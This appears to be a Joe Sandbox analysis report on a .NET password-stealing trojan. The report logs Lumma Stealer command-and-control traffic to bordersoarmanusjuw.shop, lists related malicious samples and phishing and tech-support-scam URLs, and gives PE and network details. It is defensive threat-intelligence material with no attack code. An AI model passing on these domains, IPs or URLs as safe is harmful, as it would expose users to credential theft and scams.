HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:22:29	API Interceptor	7x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.189.66	wZtUQNC2cO.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bordersoarmanusjuw.shop	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.9.123
bordersoarmanusjuw.shop	wZtUQNC2cO.exe	Get hash	malicious	LummaC	Browse	172.67.189.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://jobrad.us1.list-manage.com/track/click?u=9c40c69097d5cc62620fab666&id=4174455835&e=1c8272e83c	Get hash	malicious	Unknown	Browse	104.21.4.152
	avp.msi	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://librospy.com/	Get hash	malicious	Unknown	Browse	172.67.219.113
	13w4NM6mPa.exe	Get hash	malicious	LummaC	Browse	172.67.153.60
	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	104.26.5.15
	SecuriteInfo.com.W32.AutoIt.YE.gen.Eldorado.12126.13851.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	DTLite1200-2126.exe	Get hash	malicious	Unknown	Browse	104.18.38.233
	https://cvn7.sa.com/invoice.html?app=	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	SecuriteInfo.com.Program.Unwanted.5412.9308.3353.exe	Get hash	malicious	PureLog Stealer	Browse	104.17.24.14
	https://appddd08.z19.web.core.windows.net/Win0security-helpline07/index.html?ph0n=1-844-492-0415	Get hash	malicious	TechSupportScam	Browse	104.21.53.38

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	avp.msi	Get hash	malicious	Unknown	Browse	172.67.189.66
	13w4NM6mPa.exe	Get hash	malicious	LummaC	Browse	172.67.189.66
	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	172.67.189.66
	SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Get hash	malicious	Unknown	Browse	172.67.189.66
	UeW2b6mU6Z.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	172.67.189.66
	0001.doc	Get hash	malicious	Dynamer	Browse	172.67.189.66
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.189.66
	PO_983888123.xls	Get hash	malicious	Unknown	Browse	172.67.189.66
	8Sb3Ng0nF3.exe	Get hash	malicious	LummaC	Browse	172.67.189.66
	SecuriteInfo.com.Riskware.2144FlashPlayer.20362.15838.exe	Get hash	malicious	Unknown	Browse	172.67.189.66

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9900301024348765
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
File size:	315'904 bytes
MD5:	c60f5fa3a579bca2c8c377f7e15b2221
SHA1:	d44b5c6dd64284f00d6f9d05cf5327a91cad9339
SHA256:	f5913e753281dbdf88f36c73d13afbf4af62046e25f8e148e87a80e88818c4d7
SHA512:	f419adf4bd07ce18d9b7de7445b2d0185653de27738fd4403f880ee11bf49ca8a1958c1b2c94f8f4c5da52ebc79462cfb6fe71849439f6af017a95b44af2f77b
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
TLSH:	DB642363F0FDB1A9EC58A1B864F22DF74BF3551C59C2C5876B17C6AEA109B408C9098F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5............"...0.............~2... ........@.. .......................@............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40327e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x8AD735A1 [Sun Oct 25 04:22:57 2043 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
nop
mov al, byte ptr [DC8E4FD7h]
sbb eax, 4444496Dh
fsubr dword ptr [edi]
sti
add dword ptr [AF423359h], eax
pop ds
mov ch, A9h
add byte ptr [E2758961h], dl
enter EABBh, DFh
push edx
loope 00007FFADCDC2B98h
or esi, dword ptr [ebx]
in eax, 6Dh
mov al, byte ptr [1C2148E7h]
mov edx, 595DA215h
int3
push ebp
imul ebp, dword ptr [ecx+657178E2h], CF9A75BFh
and byte ptr [edi+ebx*4+7A0DD122h], dh
pop ss

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x322c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x50000	0x5e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x52000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x31b8	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4c748	0x4c800	1f38ac716df462aa0b7e89a6063a6b53	False	0.9936044730392157	data	7.996781792059311	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x50000	0x5e4	0x600	395bc37c0fa31f16b78244b604350463	False	0.4407552083333333	data	4.158930167978647	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x52000	0xc	0x200	800853871f5d68c5a722718b0f3aa3da	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x50090	0x354	data			0.44366197183098594
RT_MANIFEST	0x503f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/19/24-07:22:32.232365	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49710	443	192.168.2.8	172.67.189.66
04/19/24-07:22:35.788931	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49714	443	192.168.2.8	172.67.189.66
04/19/24-07:22:32.893467	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49711	443	192.168.2.8	172.67.189.66
04/19/24-07:22:29.715929	UDP	2052033	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (bordersoarmanusjuw .shop)	63633	53	192.168.2.8	1.1.1.1
04/19/24-07:22:29.839072	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49707	443	192.168.2.8	172.67.189.66
04/19/24-07:22:33.773056	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49712	443	192.168.2.8	172.67.189.66
04/19/24-07:22:30.612609	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49708	443	192.168.2.8	172.67.189.66
04/19/24-07:22:31.428591	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49709	443	192.168.2.8	172.67.189.66
04/19/24-07:22:34.565358	TCP	2052042	ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI)	49713	443	192.168.2.8	172.67.189.66

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 07:22:29.834861994 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:29.834897995 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:29.834980965 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:29.839071989 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:29.839085102 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.066659927 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.066917896 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.080069065 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.080089092 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.080530882 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.123183966 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.138783932 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.138802052 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.138957024 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.600183964 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.600322008 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.600447893 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.601906061 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.601906061 CEST	49707	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.601928949 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.601937056 CEST	443	49707	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.611881018 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.611901045 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.612006903 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.612608910 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.612623930 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.831754923 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.831851959 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.834053993 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.834062099 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.834413052 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:30.836978912 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.836978912 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:30.837083101 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.375839949 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.375881910 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.375910044 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.375946045 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.375967979 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376024008 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.376035929 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376061916 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.376122952 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.376172066 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376363039 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376399994 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376415968 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.376424074 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376456976 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376517057 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.376524925 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.376588106 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.377034903 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.377100945 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.377137899 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.377172947 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.377212048 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.377212048 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.377219915 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.377288103 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.377388000 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.377569914 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.377580881 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.377593994 CEST	49708	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.377599001 CEST	443	49708	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.428055048 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.428144932 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.428239107 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.428591013 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.428632021 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.646661997 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.646747112 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.647933960 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.647948980 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.648300886 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:31.649522066 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.649666071 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:31.649702072 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.202603102 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.202754021 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.202878952 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.203011036 CEST	49709	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.203052998 CEST	443	49709	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.231789112 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.231848955 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.231960058 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.232364893 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.232393980 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.450054884 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.450158119 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.453829050 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.453843117 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.454174995 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.455539942 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.455828905 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.455867052 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.455929041 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.455936909 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.835908890 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.836028099 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.836106062 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.836229086 CEST	49710	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.836246967 CEST	443	49710	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.893016100 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.893079042 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:32.893163919 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.893466949 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:32.893502951 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.112266064 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.112366915 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.118921995 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.118937016 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.119277000 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.138633966 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.138758898 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.138798952 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.138885021 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.138895988 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.710768938 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.710902929 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.710961103 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.711030960 CEST	49711	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.711049080 CEST	443	49711	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.772550106 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.772630930 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.772737026 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.773056030 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.773068905 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.992674112 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.992793083 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.994138002 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.994169950 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.994435072 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:33.995867968 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.996023893 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:33.996052980 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.548017025 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.548257113 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.548265934 CEST	443	49712	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.548317909 CEST	49712	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.564893007 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.564949036 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.565032005 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.565357924 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.565376997 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.785012960 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.785088062 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.786623001 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.786634922 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.786915064 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:34.788127899 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.788223028 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:34.788229942 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:35.327255964 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:35.327379942 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:35.327455044 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:35.327605963 CEST	49713	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:35.327624083 CEST	443	49713	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:35.788441896 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:35.788502932 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:35.788628101 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:35.788930893 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:35.788945913 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.007935047 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.008022070 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.009710073 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.009723902 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.009973049 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.011261940 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.012183905 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.012222052 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.012325048 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.012362003 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.012473106 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.012516022 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.012639046 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.012666941 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.012818098 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.012845993 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.013036966 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.013081074 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.013091087 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.013247013 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.013278961 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.056180954 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.056590080 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.056638956 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.056653976 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.104114056 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.104506016 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.104597092 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.104643106 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.148153067 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.148303032 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:36.196125031 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:36.327337980 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:37.696538925 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:37.696676016 CEST	443	49714	172.67.189.66	192.168.2.8
Apr 19, 2024 07:22:37.696758986 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:37.696862936 CEST	49714	443	192.168.2.8	172.67.189.66
Apr 19, 2024 07:22:37.696903944 CEST	443	49714	172.67.189.66	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 07:22:29.715929031 CEST	63633	53	192.168.2.8	1.1.1.1
Apr 19, 2024 07:22:29.824047089 CEST	53	63633	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 07:22:29.715929031 CEST	192.168.2.8	1.1.1.1	0xdcee	Standard query (0)	bordersoarmanusjuw.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 07:22:29.824047089 CEST	1.1.1.1	192.168.2.8	0xdcee	No error (0)	bordersoarmanusjuw.shop		172.67.189.66	A (IP address)	IN (0x0001)	false
